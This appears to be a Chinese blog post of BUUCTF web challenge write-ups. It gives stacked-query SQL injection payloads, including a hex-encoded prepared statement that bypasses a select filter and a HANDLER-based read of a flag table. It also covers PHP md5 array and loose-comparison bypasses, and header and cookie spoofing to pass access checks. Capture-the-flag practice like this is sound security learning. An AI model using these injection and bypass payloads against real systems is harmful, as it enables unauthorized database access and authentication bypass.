BUUCTF 部分web wp

BUUCTF WEB

0X01,[强网杯 2019]随便注

输入3时报错了,说明只有两个字符,接下来进行经典的查询环节

爆库:1';show databases;

爆表:1';show tables;

出来了两个数据库,一个一个查看

查询第一个数据库

1';show columns from words;

并没有出现和flag相关的东西,接下来查询第二个数据库

1';show columns from ‘1919810931114514’;

查询结果出来了flag字符,对这个flag,没有办法查看,只能借助别人的wp了,对大佬膜拜!

因为select被过滤了,所以先将select * from 1919810931114514进行16进制编码

再通过构造payload得

1;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

得到了flag;

0x02,[MRCTF2020]Ez_bypass

F12查看源代码

I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }
                 else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo 'You can not get it !';
            }
​
        }
        else{
            die('only one way to get the flag');
        }
}
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
}Please input first

代码审计之后,发现有一个要求:md5($id) === md5($gg) && $id !== $gg

利用数组绕过:a[]=a&b[]=b,最后可能会报错,如果是两个控制相等,则会判断为true

所以payload:/?id[]=a&gg[]=b

然后进行一次post传参

            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }

其中is_numeric()函数是检测变量是否为数字或数字字符串,根据这里的提示要求passwd不是数字或数字字符串时,弱等于判断passwd是否等于1234567

所以payload:passwd=1234567a(这里是进行的一次post传参)

得到了flag

0x03,[GYCTF2020]Blacklist

这个题和第一道那个随便注类似,都是sql注入类型,但是这个题的过滤比它更严重重复第一道题的步骤

1';show databases;#

1';show tables;#

1';show columns from FlagHere;#

查看相关wp学到了一个新知识:HANDLER OPEN语句打开一个表,使其可以使用后续HANDLER READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER CLOSE或会话终止之前不会关闭

1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#

0x04,[ACTF2020 新生赛]BackupFile

利用dirsearch进行扫描,扫描得到了一个目录

访问index.pgp.bak,得到了一个文件,打开后是一串代码,进行审计

<?php
include_once "flag.php";
​
if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}
​
​

要求key变量通过get传参,且变量必须是数字,数字取整后还得为123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3

所以payload:?key=123

得到flag

0x05,[极客大挑战]http

打开题目链接,得到一个页面

首先查看源码,在源码里发现了Secret.php,前往查看

 要求我们是从'https://sycsecret.buuoj.cn'这个网站过去的,打开bp抓包,添加referer头

添加之后,提示我们要从Syclover这个浏览器内打开,继续抓包修改UA值

之后他又提示我们从本地查看,使用X-Forwarded-For来伪造本地地址

得到了flag

0X06,Begin of HTTP

打开题目链接

要求我们用get方式对ctf值传入任意值

打开bp抓包进行修改

又要求我们对secret赋值而且还是POST传参,而且赋的值还得是他指定的,在右下有一串base64加密的字符串,对其进行解码后,得到了一个值,猜测是他指定的那个值

根据提示,修改cookie值,将hacker修改为ctfer

提示我们用NewStarCTF2023浏览器,修改UA头

修改完之后又说从newstarctf.com 这个网址访问的,添加referer头

又提示只有本地用户才能通过。用XFF伪造IP地址

添加XFF后,发现没有回应,尝试其他伪造ip的方式,发现当X-Real-ip时有回应,并出现了flag

得到了flag

0X07,[NewStarCTF 公开赛赛道]HTTP

提示我们用GET传参的方式对name赋值,因此对name赋值为admin

又提示我们对key赋值,而且赋值为他给定的值,在源码里发现了key值

打开bp抓包修改

提示我们不是admin用户,对此将cookie值后的guest修改为admin

修改后,给出了flag

  • 22
    点赞
  • 29
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值